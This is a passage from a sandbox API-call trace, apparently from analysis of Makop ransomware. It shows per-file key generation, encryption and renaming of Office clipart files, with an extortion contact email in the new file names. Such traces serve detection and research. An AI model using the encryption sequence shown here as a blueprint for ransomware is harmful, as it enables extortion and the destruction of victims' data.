pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.608] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.608] GetProcessHeap () returned 0x48a0000 [0106.608] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.608] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.608] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.608] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.608] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.609] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.609] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.609] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.609] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.609] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.609] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.609] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.609] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbd2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbd2, lpOverlapped=0x0) returned 1 [0106.610] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbe0) returned 1 [0106.610] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.610] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbe0, lpOverlapped=0x0) returned 1 [0106.617] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.617] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.618] SetEndOfFile (hFile=0xf0) returned 1 [0106.625] GetProcessHeap () returned 0x48a0000 [0106.625] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.625] GetProcessHeap () returned 0x48a0000 [0106.625] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.625] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.625] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.627] CloseHandle (hObject=0xf0) returned 1 [0106.627] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0106.627] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0106.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.628] GetProcessHeap () returned 0x48a0000 [0106.628] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.628] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.628] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.628] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0106.633] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.633] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.633] GetProcessHeap () returned 0x48a0000 [0106.633] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.633] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.633] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.633] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.634] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.634] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.634] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.634] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.635] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.635] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.635] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.635] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.635] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x127e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x127e, lpOverlapped=0x0) returned 1 [0106.637] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1280, dwBufLen=0x1280 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1280) returned 1 [0106.637] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.637] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1280, lpOverlapped=0x0) returned 1 [0106.637] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.637] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.637] SetEndOfFile (hFile=0xf0) returned 1 [0106.645] GetProcessHeap () returned 0x48a0000 [0106.645] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.645] GetProcessHeap () returned 0x48a0000 [0106.645] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.645] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.645] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.646] CloseHandle (hObject=0xf0) returned 1 [0106.647] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0106.647] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0106.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.649] GetProcessHeap () returned 0x48a0000 [0106.649] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.649] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.649] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.649] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0106.653] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.653] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.653] GetProcessHeap () returned 0x48a0000 [0106.653] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.653] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.653] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.653] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.654] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.654] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.654] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.654] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.655] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.655] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.655] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.655] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.655] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1634, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1634, lpOverlapped=0x0) returned 1 [0106.656] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1640, dwBufLen=0x1640 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1640) returned 1 [0106.657] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.657] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1640, lpOverlapped=0x0) returned 1 [0106.657] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.657] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.657] SetEndOfFile (hFile=0xf0) returned 1 [0106.664] GetProcessHeap () returned 0x48a0000 [0106.664] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.664] GetProcessHeap () returned 0x48a0000 [0106.664] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.665] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.665] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.666] CloseHandle (hObject=0xf0) returned 1 [0106.666] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0106.666] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0106.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.667] GetProcessHeap () returned 0x48a0000 [0106.667] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.667] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.667] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0106.673] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.674] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.674] GetProcessHeap () returned 0x48a0000 [0106.674] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.674] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.674] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.674] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.674] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.674] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.674] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.675] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.675] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.675] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.675] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.675] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.675] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5062, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5062, lpOverlapped=0x0) returned 1 [0106.677] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5070, dwBufLen=0x5070 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5070) returned 1 [0106.678] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.678] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5070, lpOverlapped=0x0) returned 1 [0106.678] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.678] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.678] SetEndOfFile (hFile=0xf0) returned 1 [0106.685] GetProcessHeap () returned 0x48a0000 [0106.685] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.685] GetProcessHeap () returned 0x48a0000 [0106.685] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.685] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.687] CloseHandle (hObject=0xf0) returned 1 [0106.687] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0106.687] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0106.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 